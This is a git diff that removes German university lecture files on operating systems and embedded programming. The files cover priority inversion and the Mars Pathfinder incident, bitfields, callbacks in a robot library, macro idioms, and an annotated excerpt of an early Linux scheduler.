-      \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}}
-      \put(0,0.4){\vector(0,1){3.6}}
-      \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}}
-
-      \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-      \put(3,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
-      \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}}
-      \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-      \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
-      \put(0,3){\line(1,0){10}}
-
-      \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}}
-      \put(1.5,1){{\color{lightgreen}\rule{1.5cm}{0.4cm}}}
-      \put(3.7,1){{\color{lightgreen}\rule{0.6cm}{0.4cm}}}
-      \alt<1>{%
-        \put(7.9,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}}
-      }{%
-        \put(8.1,1){{\color{lightgreen}\rule{0.9cm}{0.4cm}}}
-      }
-      \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
-      \put(0,1){\line(1,0){10}}
-
-      \pause
-
-      \put(4.6,2){{\color{lightyellow}\rule{0.4cm}{0.4cm}}}
-      \put(5.7,2){{\color{lightyellow}\rule{1.3cm}{0.4cm}}}
-      \put(7.7,2){{\color{lightyellow}\rule{0.4cm}{0.4cm}}}
-      \put(0,2){\line(1,0){10}}
-
-    \end{picture}
-  \end{center}
-
-\end{frame}
-
-\subsectionnonumber{Prioritäten \protect\color{darkgray}und Ressourcen}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  \only<4->{%
-    Der höher priorisierte Prozeß bewirkt selbst,\\
-    daß er eine Ressource verspätet bekommt.
-
-    \medskip
-
-    \textarrow\ \newterm{begrenzte Prioritätsinversion}
-
-    \medskip
-
-    maximale Verzögerung: Länge des kritischen Bereichs
-  }
-
-  \vspace{0cm plus 1filll}
-
-  \begin{center}
-    \begin{picture}(11,4)(-1,0)
-      \small
-
-      \put(-0.1,0.5){\vector(1,0){10.1}}
-      \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}}
-      \put(0,0.4){\vector(0,1){3.6}}
-      \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}}
-
-      \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-      \only<1-2>{\put(3,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}}
-      \only<3->{\put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}}
-      \only<3-4>{%
-        \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}}
-        \put(4.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}}
-        {\thicklines
-        \put(3.3,2.95){\line(2,1){1.0}}
-        \put(3.3,3.45){\line(2,-1){1.0}}}
-      }
-      \only<5->{%
-        \put(3.9,3){{\color{red}\rule{0.8cm}{0.4cm}}}
-        \put(4.7,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}}
-      }
-      \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}}
-      \only<1-2>{%
-        \put(5.4,3){{\color{red}\rule{0.8cm}{0.4cm}}}
-        \put(6.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}}
-      }
-      \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-      \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
-      \put(0,3){\line(1,0){10}}
-
-      \only<2->{%
-        \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}}
-        \put(1.5,1){{\color{lightgreen}\rule{1.5cm}{0.4cm}}}
-        \put(2.6,1){{\color{medgreen}\rule{0.4cm}{0.4cm}}}
-        \only<2-4>{%
-          \put(3.7,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}}
-          \put(4.2,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
-        }
-        \only<5->{%
-          \put(3.4,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}}
-          \put(4.9,1){{\color{lightgreen}\rule{0.1cm}{0.4cm}}}
-          \put(5.6,1){{\color{lightgreen}\rule{0.2cm}{0.4cm}}}
-        }
-        \put(7.7,1){{\color{lightgreen}\rule{1.3cm}{0.4cm}}}
-        \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
-        \put(0,1){\line(1,0){10}}
-      }
-    \end{picture}
-  \end{center}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  \visible<4->{%
-    Ein Prozeß mit mittlerer Priorität bewirkt,
-    daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
-    \medskip
-
-  \textarrow\ }\newterm{unbegrenzte Prioritätsinversion}
-
-  \pause
-  \vspace{0cm plus 1filll}
-
-  \begin{center}
-    \begin{picture}(11,4)(-1,0)
-      \small
-
-      \put(-0.1,0.5){\vector(1,0){10.1}}
-      \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}}
-      \put(0,0.4){\vector(0,1){3.6}}
-      \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}}
-
-      \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-      \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}
-      \only<2>{%
-        \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}}
-        \put(4.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}}
-        {\thicklines
-        \put(3.3,2.95){\line(2,1){1.0}}
-        \put(3.3,3.45){\line(2,-1){1.0}}}
-        \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}}
-        \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-        \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
-      }
-      \put(0,3){\line(1,0){10}}
-
-      \only<2->{%
-        \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}}
-        \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}}
-        \alt<1-4>{%
-          \put(2.6,1){{\color{medgreen}\rule{0.4cm}{0.4cm}}}
-        }{%
-          \put(2.6,1){{\color{medgreen}\rule{0.2cm}{0.4cm}}}
-        }
-        \only<2>{%
-          \put(3.7,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}}
-          \put(4.2,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
-        }
-        \only<3-4>{%
-          \put(3.4,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}}
-%          \put(3.9,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
-        }
-        \only<2>{%
-          \put(7.7,1){{\color{lightgreen}\rule{1.3cm}{0.4cm}}}
-          \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
-        }
-        \put(0,1){\line(1,0){10}}
-      }
-
-      \only<5->{%
-        \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}}
-        \put(3.4,2){{\color{lightyellow}\rule{6.6cm}{0.4cm}}}
-        \put(0,2){\line(1,0){10}}
-      }
-    \end{picture}
-  \end{center}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ein Prozeß mit mittlerer Priorität bewirkt,
-  daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
-  \medskip
-
-  \textarrow\ \newterm{unbegrenzte Prioritätsinversion}
-
-  \medskip
-
-  Beispiel: Beinahe-Verlust der Marssonde \emph{Pathfinder\/} im Juli 1997
-
-  \only<1>{%
-    \begin{center}
-      \includegraphics[width=8.5cm]{pathfinder.jpg}
-      \vspace*{-1.5cm}
-    \end{center}
-  }
-
-  \bigskip
-
-  \only<2>{%
-    Gegenmaßnahmen
-    \begin{itemize}
-      \item
-        \newterm{Priority Inheritance -- Prioritätsvererbung}\\
-        Der Besitzer des Mutex erbt die Priorität\\
-        des Prozesses, der auf den Mutex wartet.
-    \end{itemize}
-
-    \bigskip
-
-    \begin{minipage}{7.0cm}
-      \begin{flushright}
-        \url{http://research.microsoft.com/en-us/\\um/people/mbj/Mars\_Pathfinder/}
-      \end{flushright}
-    \end{minipage}
-
-    \vspace{-0.2cm}\strut\hfill\makebox(0,0)[br]{\includegraphics[height=2.7cm]{pathfinder.jpg}}\vspace*{-1cm}
-  }
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ein Prozeß mit mittlerer Priorität bewirkt,
-  daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
-  \medskip
-
-  \textarrow\ \newterm{unbegrenzte Prioritätsinversion}
-
-  \bigskip
-
-  Gegenmaßnahme: \newterm{Priority Inheritance -- Prioritätsvererbung}
-
-  \vspace{0cm plus 1filll}
-
-  \begin{center}
-    \begin{picture}(11,4)(-1,0)
-      \small
-
-      \put(-0.1,0.5){\vector(1,0){10.1}}
-      \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}}
-      \put(0,0.4){\vector(0,1){3.6}}
-      \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}}
-
-      \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}}
-      \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}}
-      \put(2.6,1){{\color{medgreen}\rule{0.2cm}{0.4cm}}}
-      \put(0,1){\line(1,0){10}}
-
-      \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}}
-      \only<1-2>{%
-        \put(3.4,2){{\color{lightyellow}\rule{6.6cm}{0.4cm}}}
-      }
-      \put(0,2){\line(1,0){10}}
-
-      \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-      \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}
-      \put(0,3){\line(1,0){10}}
-
-      \only<2>{%
-        \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}}
-        {\thicklines
-        \put(3.3,2.95){\line(2,1){1.0}}
-        \put(3.3,3.45){\line(2,-1){1.0}}}
-      }
-
-      \only<3->{%
-        \put(3.4,3){{\color{medgreen}\rule{0.7cm}{0.4cm}}}
-        \put(4.1,3){{\color{red}\rule{0.8cm}{0.4cm}}}
-        \put(5.7,2){{\color{lightyellow}\rule{1.3cm}{0.4cm}}}
-        \put(4.9,3){{\color{lightorange}\rule{0.8cm}{0.4cm}}}
-        \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-        \put(7.5,2){{\color{lightyellow}\rule{1.5cm}{0.4cm}}}
-        \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
-        \put(9.7,2){{\color{lightyellow}\rule{0.3cm}{0.4cm}}}
-      }
-    \end{picture}
-  \end{center}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ein Prozeß mit mittlerer Priorität bewirkt,
-  daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
-  \medskip
-
-  \textarrow\ \newterm{unbegrenzte Prioritätsinversion}
-
-  \bigskip
-
-  Gegenmaßnahme: \newterm{Priority Ceiling -- Prioritätsobergrenze}
-
-  \vspace{0cm plus 1filll}
-
-  \begin{center}
-    \begin{picture}(11,4)(-1,0)
-      \small
-
-      \put(-0.1,0.5){\vector(1,0){10.1}}
-      \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}}
-      \put(0,0.4){\vector(0,1){3.6}}
-      \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}}
-
-      \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}}
-      \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}}
-%      \only<1>{%
-%        \put(2.6,1){{\color{medgreen}\rule{0.2cm}{0.4cm}}}
-%      }
-      \put(0,1){\line(1,0){10}}
-
-%      \only<1>{%
-%        \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}}
-%        \put(3.4,2){{\color{lightyellow}\rule{6.6cm}{0.4cm}}}
-%      }
-      \put(0,2){\line(1,0){10}}
-
-      \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-%      \only<1>{%
-%        \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}
-%      }
-      \put(0,3){\line(1,0){10}}
-
-%      \only<2>{%
-%      \only<2>{%
-        \put(2.6,3){{\color{medgreen}\rule{0.9cm}{0.4cm}}}
-        \put(3.5,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}
-        \put(3.9,3){{\color{red}\rule{0.8cm}{0.4cm}}}
-        \put(4.7,3){{\color{lightorange}\rule{0.8cm}{0.4cm}}}
-        \put(5.5,2){{\color{lightyellow}\rule{1.5cm}{0.4cm}}}
-        \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-        \put(7.5,2){{\color{lightyellow}\rule{1.5cm}{0.4cm}}}
-        \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
-        \put(9.7,2){{\color{lightyellow}\rule{0.3cm}{0.4cm}}}
-%      }
-    \end{picture}
-  \end{center}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ein Prozeß mit mittlerer Priorität bewirkt,
-  daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
-  \medskip
-
-  \textarrow\ \newterm{unbegrenzte Prioritätsinversion}
-
-  \medskip
-
-  Beispiel: Beinahe-Verlust der Marssonde \emph{Pathfinder\/} im Juli 1997
-
-  \bigskip
-
-  Gegenmaßnahmen
-  \begin{itemize}
-    \item
-      \newterm{Priority Inheritance -- Prioritätsvererbung}\\
-      Der Besitzer des Mutex erbt die Priorität\\
-      des Prozesses, der auf den Mutex wartet.
-    \smallskip
-    \item
-      \newterm{Priority Ceiling -- Prioritätsobergrenze}\\
-      Der Besitzer des Mutex bekommt sofort\\
-      die Priorität des höchstmöglichen Prozesses,\\
-      der evtl.\ den Mutex benötigen könnte.
-      \pause
-      \begin{picture}(0,0)
-        \put(1.2,1.45){\makebox(0,0)[l]{$\left\}\rule{0pt}{1.7cm}\right.$
-          \begin{minipage}{4cm}
-            nur möglich, wenn\\
-            Mutexe im Spiel sind
-          \end{minipage}}}
-      \end{picture}
-    \smallskip
-    \pause
-    \item
-      \newterm{Priority Aging}\\
-      Die Priorität wächst mit der Wartezeit.
-  \end{itemize}
-  \vspace*{-1cm}
-
-\end{frame}
-
-\end{document}
diff --git a/20220613/bs-20220613.txt b/20220613/bs-20220613.txt
deleted file mode 100644
index 240fdb2975a8ec36a20283a07b3cc1b4a02aa67f..0000000000000000000000000000000000000000
--- a/20220613/bs-20220613.txt
+++ /dev/null
@@ -1,164 +0,0 @@
-Wertebereiche von Bitfeldern, 13.06.2022, 11:58:01
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-Syntax:
-
- struct {
-                unsigned LEDsR:3;
-                unsigned LEDsL:3;
-                unsigned reserved:2;
-        };
-
-LEDsR ist ein vorzeichenloses Bit-Feld, bestehend aus 3 Bits.
-Wertebereich: 0 bis 7
-
-Dasselbe als vorzeichenbehaftetes Bit-Feld:
-
- struct {
-                int LEDsR:3;
-                int LEDsL:3;
-                int reserved:2;
-        };
-
-Wertebereich bei 3 Bit: -4 bis 3
-
-Warum?
-
- * 3 Bits --> Wir haben 8 Werte zur Verfügung.
-
- * Welche wir als positiv und welche als negativ interpretieren,
-   ist Sache der Konvention.
-
-   Damit die Hardware mit den Zahlen effizient rechnen kann,
-   verwenden wir kein Offset, sondern behalten das Bitmuster
-   000 für den Wert 0, 001 für 1 usw.
-                                             000 001 010 011 100 101 110 111
-    - alle positiv --> vorzeichenlose Zahl    0   1   2   3   4   5   6   7
-    - -1 bis 6                                0   1   2   3   4   5   6  -1
-    - -2 bis 5                                0   1   2   3   4   5  -2  -1
-    - ...
-    - -7 bis 0                                0  -7  -6  -5  -4  -3  -2  -1
-
-   In Hardware implementierte Konvention: MSB = Vorzeichen-Bit
-   Vorteil: Die Hardware erkennt anhand des MSB das Vorzeichen.
-
-                                             000 001 010 011 100 101 110 111
-                                              0   1   2   3  -4  -3  -2  -1
-
-Aufgabe: Welchen Wertebereich hat eine vorzeichenbehaftete 1-Bit-Zahl?
-
-Lösung (per Mehrheitsbeschluß;-): 0 und -1
-
-Überprüfung (unions-03.c): Stimmt. :-)
-
-Begründung: Das einzige Bit ist gleichzeitig das MSB.
-            Wenn es gesetzt ist, muß der Wert negativ interpretiert werden.
-            Dann sind alle Bits = 1, was der Zahl -1 entspricht.
-
-Was ist ein Callback? 13.06.2022, 13:15:47
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-Ziel: Reaktion auf ein Ereignis
-Beispiel: Ereignis: Bumper hat Hindernis erkannt. Reaktion: Anhalten.
-
-Weg dorthin: Bibliothek stellt einen "Callback"-Mechanismus zur Verfügung.
-
-Wir schreiben für die Reaktion eine Funktion. Hier z.B.: anhalten und blinken
-
-  void bumpersStateChanged(void)
-  {       
-          if(bumper_left || bumper_right)
-          {
-                  moveAtSpeed(0,0);
-                  setLEDs(0b010000);
-                  startStopwatch1();
-          }
-  }  
-
-Vor dem Losfahren teilen wir der Bibliothek mit, daß sie diese Funktion
-aufrufen soll, wenn das Ereignis (hier: Bumper löst aus) eintritt.
-
-  BUMPERS_setStateChangedHandler(bumpersStateChanged);
-
-"Wenn sich der Zustand der Bumper ändert,
-bitte die Funktion bumpersStateChanged() aufrufen."
-
-Später läuft dann die Hauptschleife der Bibliothek.
-Diese ruft dann bei Bedarf die übergebene Funktion
-("Callback-Funktion") auf.
-
-Variante dieses Konzepts: virtuelle Methode überschreiben
-
-Beispiel: GUI-Bibliothek
-Ein GUI-Element hat eine virtuelle Methode, um seinen Inhalt darzustellen.
-Wenn ich ein neues GUI-Element definiere, muß ich diese Methode überschreiben,
-damit es seinen spezifischen Inhalt darstellen kann.
-
-Die GUI ruft dann bei Bedarf die virtuelle Methode auf ("Callback").
-
-Beispiel: GUI-Bibliothek
- - GTK in C: Callback-Funktion installieren
- - GTK in C++: virtuelle Methode überschreiben
-
-Wie funktionieren Callbacks? 13.06.2022, 13:14:34
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-// Bumpers State changed handler:
-
-    void BUMPERS_stateChanged_DUMMY(void){}
-    static void (*BUMPERS_stateChangedHandler)(void) = BUMPERS_stateChanged_DUMMY;
-    /**
-     * Use this function to set the Bumpers state change handler.
-     *
-     */
-    void BUMPERS_setStateChangedHandler(void (*bumperHandler)(void))
-    {       
-            BUMPERS_stateChangedHandler = bumperHandler;
-    }
-
-Callback installieren: Funktion BUMPERS_setStateChangedHandler()
-
-Parameter der Funktion: void (*bumperHandler)(void)
-    "Funktion mit dem Namen '(*bumperHandler)'"
-  --> *bumerHandler ist eine Funktion.
-  --> Das, worauf bumerHandler zeigt, ist eine Funktion.
-  --> bumerHandler ist ein Zeiger auf eine Funktion.
-
-Aufruf von BUMPERS_setStateChangedHandler:
-
-    BUMPERS_setStateChangedHandler(bumpersStateChanged);
-
-  Wir übergeben die Adresse der Funktion bumpersStateChanged().
-  Insbesondere rufen wir die Funktion bumpersStateChanged() nicht auf.
-  (Um sie aufzurufen, bräuchte man das Klammerpaar.)
-
-BUMPERS_setStateChangedHandler() merkt sich den Funktionszeiger
-auf einer globalen Variablen BUMPERS_stateChangedHandler gleichen Typs.
-
-Diese Variable, ein Zeiger auf eine Funktion, zeigte vorher auf eine
-Funktion BUMPERS_stateChanged_DUMMY, die nichts macht.
-
-Aber wer ruft nun tatsächlich die Callback-Funktion auf?
-
-Dies geschieht in der Funktion task_Bumpers().
-Diese Funktion
- - schaut auf die Uhr: Sie wird höchstens alle 50 Millisekunden aktiv (weiche Echtzeit).
- - fragt den Zustand der Bumper ab.
- - ruft, sofern sich der Zustand der Bumper geändert hat, die Callback-Funktion auf.
-
-Verbleibende Fragen:
- - Wie funktioniert die Abfrage des Zustands der Bumper?
- - Wer ruft task_Bumpers() auf?
-
-Wie funktioniert die Abfrage des Zustands der Bumper?
- - Der linke Bumper und LED Nr. 6 teilen sich einen Port
-   (Bumper als Input, LED als Output).
- - Wir schalten LED Nr. 6 aus.
- - Wir schalten den Port als Input.
- - Wir warten einen Taktzyklus, damit der Prozessor den Input auslesen kann.
- - Wir lesen den Input-Port.
- - Sofern LED Nr. 6 leuchten soll, schalten wir den Port zurück auf Output
-   und die LED ein.
-
-Wer ruft task_Bumpers() auf?
- - task_RP6System() ruft task_Bumpers() auf.
- - Das Hauptprogramm ruft in seiner Hauptschleife task_RP6System() auf
-   ("kooperatives Multitasking").
-   Ohne dies würden die Bumper nicht funktionieren.
diff --git a/20220613/curiosity.jpg b/20220613/curiosity.jpg
deleted file mode 120000
index 4452844da537414b751c5283ca8468b3ced9afb3..0000000000000000000000000000000000000000
--- a/20220613/curiosity.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/curiosity.jpg
\ No newline at end of file
diff --git a/20220613/dsc_8208.jpg b/20220613/dsc_8208.jpg
deleted file mode 120000
index 5796341ebc774aa09965a3a29854c65ce1144fb8..0000000000000000000000000000000000000000
--- a/20220613/dsc_8208.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/dsc_8208.jpg
\ No newline at end of file
diff --git a/20220613/herzschrittmacher.jpg b/20220613/herzschrittmacher.jpg
deleted file mode 120000
index 92d8f0053003cc555aec83f5d088f1cec822ad81..0000000000000000000000000000000000000000
--- a/20220613/herzschrittmacher.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/herzschrittmacher.jpg
\ No newline at end of file
diff --git a/20220613/logo-hochschule-bochum-cvh-text.pdf b/20220613/logo-hochschule-bochum-cvh-text.pdf
deleted file mode 120000
index a05946126bc0ce6a2818740da2893f59eb0c659c..0000000000000000000000000000000000000000
--- a/20220613/logo-hochschule-bochum-cvh-text.pdf
+++ /dev/null
@@ -1 +0,0 @@
-../common/logo-hochschule-bochum-cvh-text.pdf
\ No newline at end of file
diff --git a/20220613/logo-hochschule-bochum.pdf b/20220613/logo-hochschule-bochum.pdf
deleted file mode 120000
index b6b9491e370e499c9276918182cdb82cb311bcd1..0000000000000000000000000000000000000000
--- a/20220613/logo-hochschule-bochum.pdf
+++ /dev/null
@@ -1 +0,0 @@
-../common/logo-hochschule-bochum.pdf
\ No newline at end of file
diff --git a/20220613/pathfinder.jpg b/20220613/pathfinder.jpg
deleted file mode 120000
index 23c6444fee26e0cf0dd2f8639484b00aa5021b59..0000000000000000000000000000000000000000
--- a/20220613/pathfinder.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/pathfinder.jpg
\ No newline at end of file
diff --git a/20220613/pgslides.sty b/20220613/pgslides.sty
deleted file mode 120000
index 5be1416f4216f076aa268901f52a15d775e43f64..0000000000000000000000000000000000000000
--- a/20220613/pgslides.sty
+++ /dev/null
@@ -1 +0,0 @@
-../common/pgslides.sty
\ No newline at end of file
diff --git a/20220613/philosophenproblem.jpg b/20220613/philosophenproblem.jpg
deleted file mode 120000
index 26591b2ac2dddfd4786814baf3f19ecb67f1f5ee..0000000000000000000000000000000000000000
--- a/20220613/philosophenproblem.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/philosophenproblem.jpg
\ No newline at end of file
diff --git a/20220613/quadrocopter.jpg b/20220613/quadrocopter.jpg
deleted file mode 120000
index 7eaf0c024b63b7bc1dd3df2c17c8ab93f67fc15c..0000000000000000000000000000000000000000
--- a/20220613/quadrocopter.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/quadrocopter.jpg
\ No newline at end of file
diff --git a/20220613/rp6.jpg b/20220613/rp6.jpg
deleted file mode 100644
index 1695afb690b4fb78878236a1efd0d5c6328370f4..0000000000000000000000000000000000000000
Binary files a/20220613/rp6.jpg and /dev/null differ
diff --git a/20220613/unions-03.c b/20220613/unions-03.c
deleted file mode 100644
index d301f78fecd28719cb0dafa090a88cc08e5cbb5f..0000000000000000000000000000000000000000
--- a/20220613/unions-03.c
+++ /dev/null
@@ -1,23 +0,0 @@
-#include <stdio.h>
-#include <stdint.h>
-
-typedef union
-{
-  uint8_t byte;
-  struct
-  {
-    unsigned bit0 : 1;
-    unsigned bit1 : 1;
-    int bit2 : 1;
-    int bit3 : 1;
-  };
-} data;
-
-int main (void)
-{
-  data d;
-  d.byte = 0x0a;
-  printf ("d.bit0 = %d, d.bit1 = %d, d.bit2 = %d, d.bit3 = %d\n",
-          d.bit0, d.bit1, d.bit2, d.bit3);
-  return 0;
-}
diff --git a/20220613/xbee.jpg b/20220613/xbee.jpg
deleted file mode 120000
index ff0adff2eadf3d9b775d03cea8cf1f118534e2b9..0000000000000000000000000000000000000000
--- a/20220613/xbee.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/xbee.jpg
\ No newline at end of file
diff --git a/20220620/bs-20220620.txt b/20220620/bs-20220620.txt
deleted file mode 100644
index 9d8e8d26c291dab75e8e05e3a01e9351e59d3de0..0000000000000000000000000000000000000000
--- a/20220620/bs-20220620.txt
+++ /dev/null
@@ -1,60 +0,0 @@
-Macro zum Setzen eines Wertes (RP6-Bibliothek):
-
-  #define setStopwatch1(__VALUE__) stopwatches.watch1 = __VALUE__
-
-Benutzung:
-
-  setStopwatch1 (0);
-
-Falsche Benutzung:
-
-  setStopwatch1 (0) + 42;  /* kein sinnvoller Funktionsaufruf */
-
-expandiert zu
-
-  stopwatches.watch1 = 0 + 42;
-
---> Falsche Benutzung ist möglich.
-
-
-Macro im Linux-Kernel:
-
-  
-  #define spin_lock_mutex(lock, flags) \
-    do \
-     { \
-         spin_lock (lock); \
-         (void) (flags); \
-     } \
-    while (0)
-
-"do xxx while (0)" bedeutet: "mache xxx genau einaml".
-
-Benutzung:
-
-  spin_lock_mutex (my_lock, my_flags);
-
-expandiert zu
-
-  do
-   {
-       spin_lock (my_lock);
-       (void) (my_flags);
-   }
-  while (0);
-
-Falsche Benutzung:
-
-  spin_lock_mutex (my_lock, my_flags) + 42;
-
-  do
-   {
-       spin_lock (my_lock);
-       (void) (my_flags);
-   }
-  while (0) + 42;
-
---> Falsche Benutzung ist nicht möglich.
-
-Fazit: "do xxx while (0)" ermöglicht die Verwendung des Macros
-wie eine Funktion, ohne dadurch eine falsche Benutzung zu ermöglichen.
diff --git a/20220620/sched.c b/20220620/sched.c
deleted file mode 100644
index 3cec73a4d18b4efd840affb3dae794617a71498f..0000000000000000000000000000000000000000
--- a/20220620/sched.c
+++ /dev/null
@@ -1,171 +0,0 @@
-struct task_struct *task[NR_TASKS];
-
-/*
- *  'schedule()' is the scheduler function. This is GOOD CODE! There
- * probably won't be any reason to change this, as it should work well
- * in all circumstances (ie gives IO-bound processes good response etc).
- * The one thing you might take a look at is the signal-handler code here.
- *
- *   NOTE!!  Task 0 is the 'idle' task, which gets called when no other
- * tasks can run. It can not be killed, and it cannot sleep. The 'state'
- * information in task[0] is never used.
- */
-void schedule(void)
-{
-	int i,next,c;
-	struct task_struct ** p;
-
-/* check alarm, wake up any interruptible tasks that have got a signal */
-
-	for(p = &LAST_TASK ; p > &FIRST_TASK ; --p)
-		if (*p) {
-			if ((*p)->alarm && (*p)->alarm < jiffies) {
-					(*p)->signal |= (1<<(SIGALRM-1));
-					(*p)->alarm = 0;
-				}
-			if ((*p)->signal && (*p)->state==TASK_INTERRUPTIBLE)
-				(*p)->state=TASK_RUNNING;
-		}
-
-/* this is the scheduler proper: */
-
-	while (1) {
-		c = -1;
-		next = 0;
-		i = NR_TASKS;
-		p = &task[NR_TASKS];  /* außerhalb des Arrays! */
-		while (--i) {
-			if (!*--p)  /* jetzt innerhalb des Arrays */
-				continue;
-			if ((*p)->state == TASK_RUNNING && (*p)->counter > c)
-				c = (*p)->counter, next = i;
-		}
-		if (c) break;
-		for(p = &LAST_TASK ; p > &FIRST_TASK ; --p)
-			if (*p)
-				(*p)->counter = ((*p)->counter >> 1) +
-						(*p)->priority;
-	}
-	switch_to(next);
-}
-
---------------------------------------------------------------------------------
-
-		while (--i) {
-			if (!*--p)  /* jetzt innerhalb des Arrays */
-				; /* do nothing */
-			else if ((*p)->state == TASK_RUNNING && (*p)->counter > c)
-				c = (*p)->counter, next = i;
-		}
-
---------------------------------------------------------------------------------
-
-
-		while (--i) {
-			if (*--p)  /* jetzt innerhalb des Arrays */
-                                if ((*p)->state == TASK_RUNNING && (*p)->counter > c)
-                                        c = (*p)->counter, next = i;
-		}
-
---------------------------------------------------------------------------------
-
-struct task_struct *task[NR_TASKS];
-
-/* ... */
-
-	struct task_struct ** p;
-
-/* ... */
-
-                /* Das zweite if wird ausgeführt, wenn *p != NULL ist,
-                 * wenn also der Zeiger-Zeiger p auf einen Zeiger != NULL zeigt.
-                 */
-
-		c = -1;
-		next = 0;
-		i = NR_TASKS;
-		p = &task[NR_TASKS];  /* außerhalb des Arrays! */
-		while (--i) {
-			if (!*--p)  /* jetzt innerhalb des Arrays */
-				continue;
-			if ((*p)->state == TASK_RUNNING && (*p)->counter > c)
-				c = (*p)->counter, next = i;
-		}
-
-                /* Diese Schleife ermittelt den größten Wert von (*p)->counter
-                 * innerhalb des Arrays, setzt c auf diesen Counter und
-                 * setzt next auf den Index, wo der Counter gefunden wurde.
-                 *
-	         * Das anschließende switch_to(next); gibt also demnigen Programm
-                 * Rechenzeit, dessen (*p)->counter am größten ist.
-                 */
-
---------------------------------------------------------------------------------
-                 
-                   Wie funktioniert diese Zeile?
-
-                     c = (*p)->counter, next = i;
-
-                   Üblicher wäre:
-
-			if ((*p)->state == TASK_RUNNING && (*p)->counter > c) {
-				c = (*p)->counter;
-                                next = i;
-                        }
-
